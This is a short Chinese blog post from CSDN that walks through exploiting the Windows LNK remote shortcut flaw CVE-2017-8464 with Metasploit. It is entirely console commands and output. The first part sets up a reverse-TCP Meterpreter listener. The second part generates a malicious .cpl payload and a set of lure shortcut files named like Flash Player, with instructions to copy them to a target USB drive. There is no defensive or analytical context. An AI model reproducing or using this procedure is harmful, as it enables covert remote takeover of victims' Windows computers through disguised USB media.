震网（远程快捷方式漏洞）-CSDN博客

1.启动监听

use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost yourip 
lhost => yourip
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     yourip   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > exploit -j

2.木马生成

msf6 exploit(multi/handler) > use exploit/windows/fileformat/cve_2017_8464_lnk_rce
msf6 exploit(windows/fileformat/cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/cve_2017_8464_lnk_rce) > set lhost yourip 
lhost => yourip 
msf6 exploit(windows/fileformat/cve_2017_8464_lnk_rce) > exploit

[*] /root/.msf4/local/FlashPlayerCPLApp.cpl created, copy it to the root folder of the target USB drive
[*] /root/.msf4/local/FlashPlayer_D.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_E.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_F.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_G.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_H.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_I.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_J.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_K.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_L.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_M.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_N.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_O.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_P.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_Q.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_R.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_S.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_T.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_U.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_V.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_W.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_X.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_Y.lnk created, copy to the target USB drive
[*] /root/.msf4/local/FlashPlayer_Z.lnk created, copy to the target USB drive
msf6 exploit(windows/fileformat/cve_2017_8464_lnk_rce) >